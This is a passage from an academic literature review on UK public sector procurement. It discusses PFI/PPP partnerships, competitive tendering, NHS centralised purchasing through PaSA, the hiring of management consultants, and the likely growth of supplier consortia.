strategic relationship management versus individual public sector organisations (Smyth and Edkins, 2007). Dixon et al (2005) also examined the several case studies of the success of the Private Finance Initiative schemes, focusing on projects related to the construction of infrastructure and other facilities. These studies highlighted several examples of best practice and best value procurement, together with the key critical factors for success in PFI projects, whilst also pointing out some drawbacks and lessons for future projects. Indeed, the literature demonstrated that the key value benefits of the PFI are that the public sector obtains increased value for money, whilst also transferring risk to the private sector partner. However, this transfer is offset by higher procurement and transaction costs, relative to the private sector’s standard costs; partly due to the cultural differences between the public and private sector, and partly due to large-scale nature of PFI projects, which frequently acts as a barrier to entry for some financing partners and suppliers. This highligh ts the need to develop competitive public sector supplier markets, and also to develop the appropriate procurement and project management skills within the public sector to ensure that they can work with private sector partners to ensure best value (Dixon et al, 2005). These show two contrasting views of the PFI/PPP, with Smyth and Edkins (2007) seeing the initiatives as an excellent way to bring private sector efficiency to public sector procurement, but with Dixon et al (2005) claiming that the wide differences in skill sets mean that a lot of the benefits from the private sector methodologies are lost. In response to contrasting views such as these, Li et al (2005) conducted research into the various perceptions of what makes the PFI attractive or unattractive to potential partners as a procurement system for projects. The research was based on a questionnaire / survey of stakeholders in the various projects, with the various potential issues and factors for the survey identified from the existing literature. This research showed that PPP and PFI procurement efficiency can have wide ranging benefits and drawbacks across different areas of a project. In particular, Li et al (2005) found the public / private sector partnerships were perceived as g iving better access to the technology required for projects, and thus leading to better project economy. This in turn drove greater public benefit, helped the public sector avoid transactional costs, and also helped manage or avoid some regulatory and financial constraints, such as the public sector timber procurement policy (Builders Merchants Journal, 2006). However, they also found that participants inexperienced is public / private sector co-operation, the high costs of setting up and participating in the initiatives, the length of time they took, and the tendency to over-commercialise some projects could lead to PPP / PFI procurement being less attractive for both parties. These various factors will impact differently on different projects, thus showing why there are such wide disparities between articles in the literature on the relative merits of PPP and PFI. For example, Weston and Cassidy (2006) claim that the procurement of public facilities and services under the PPP and PFI arrangements provides a wide variety of significant benefits to the public sector, and to the private sector partners. In contrast, Chapman (2006) highlights claims that private sector participation harms services and efficiency, whilst purely focusing on guaranteeing the private sector partners their profits. As a result, the literature concludes that the difference between the success and failure of PFI and PPP schemes depends on a clear and common understanding of the positive and negative factors surrounding PPP / PFI procurement (Li et al, 2005). Another development in procurement is that direct competition between providers, via invitations to tender, is now widely used as the means of choosing suppliers or outsourcers for many public services in the UK. Smyth (1997) describes how competitive tendering can ensure local accessibility and accountability for users, innovation, from providers and help purchasers to reduce procurement and transaction costs. However, in common with many other writers, Smyth (1997) discusses co-operation and collaboration and the interference of policy decisions and the political process, which has led to the emergence of monopolies and inefficient integrated delivery systems, often to the detriment of value in the procurement process (Smyth, 1997). Another effort made by the public sector, specifically the UK NHS, to improve purchasing efficiency is in the use of the NHS Purchasing and Supply Agency, PaSA, to negotiate National Framework Agreements through which individual NHS trusts can procure goods and services at bulk negotiated rates. However, as each NHS trust is a separate legal and managerial entity, responsible only to the Department of Health, a significant number of NHS trusts have resisted the move towards this centralised procurement approach in favour of their own relationships with suppliers. As a result, Cox et al (2005) discussed how PaSA, and the NHS senior management as a whole, have created regional procurement hubs and confederations in order to overcome this inability to enforce the Agreements within individual NHS Trusts. Whilst this was a sensible approach to resolving the lack of effective consolidation of demand at the individual Trust level, the individual procurement practices of regionally based NHS Trusts is still strongly driven by their own supply and demand considerations, and this has created a number of internal demand problems that the regionalised procurement approach has failed to overcome. These include the failure by the Trusts individually, and by the NHS centrally, to control and manage the NHS design and specification process effectively and, in many cases, an inability to measure or collect information on the clinical and cost effectiveness of medical interventions (Cox et al, 2005). As such, whilst these new reforms can be seen as a significant improvement on past collaborative procurement efforts, it is likely that they are still destined to fail, due to the fundamental nature of procurement in the NHS, and the lack of understanding around effectively aligning supply and demand at all levels of the NHS. One final area, in which the public sector is often accused of being inefficient by the Audit Commission, and failing to secure best value procurement, is in the employing of management consultants for project management and other support roles. Corcoran and McLean (1998) investigated the purchase of management consultants in the public sector context, specifically the appointment of consultants to work with government departments, focusing specifically on the particular selection decisions. They found that, in accordance with government policy, many public sector decision makers focus mainly on securing best value for money when procuring consultants, however the criteria and information sources used to make the procurement decisions were often inconsistent. Similar to Cox et al (2005), Corcoran and McLean (1998) found that whilst the government’s public sector procurement principle was well known and relatively well understood, public sector decision makers seemed to be unab le to connect this principle to the procurement process, often claiming that they did not have access to sufficient information to make an informed choice. Paradoxically, the majority of government departments tend to hire management consultants in an attempt to understand the procurement process that has hired the management consultants in the first place. One significant outcome of this is that the decision makers in many government organisations stated that they didn’t believe the selection process and decision around hiring management consultants was difficult, and would be straightforward if sufficient information was made available (Corcoran and McLean, 1998). Future developments in procurement and threats to movement The public sector is increasing beginning to rely on private sector organisations to form supplier consortia for major projects, especially those where the scale is such that individual suppliers are unable to cope with the demand. As the number of projects, especially the major PPP / PFI projects, increases; the demand for these consortia is likely to rise, and Jost (2005) believes that this may become the dominant model for public sector procurement in future. However, in order for this to occur, greater attention must be paid to building successful relationships, both between the consortium and the public sector organisation, and between the members of the consortium itself. Jost (2005) conducted a qualitative study of the existing consortia, and claimed that building trust, engaging staff and reconciling the differing objectives of the partners will be the main factors critical to this development, and a lack of trust among the private sector partners will be the biggest threat t o progress. Indeed, Swan and Khalfan (2007) claim that partnering will continue to grow significantly throughout the UK public sector. They focus on the UK public sector construction industry, and identified that, in future, factors such relationship management with external stakeholders, the general public in the case of public sector projects, will be important to the growth in partnership based projects. Indeed, whilst issues such as cost, quality, timeliness and safety will remain crucial to successful delivery, objectives such as sustainable and environmental development will grow in importance, and failure to acknowledge and address these issues will again pose threats to movement. Swan and Khalfan’s research showed that the industry is already moving forward, with a su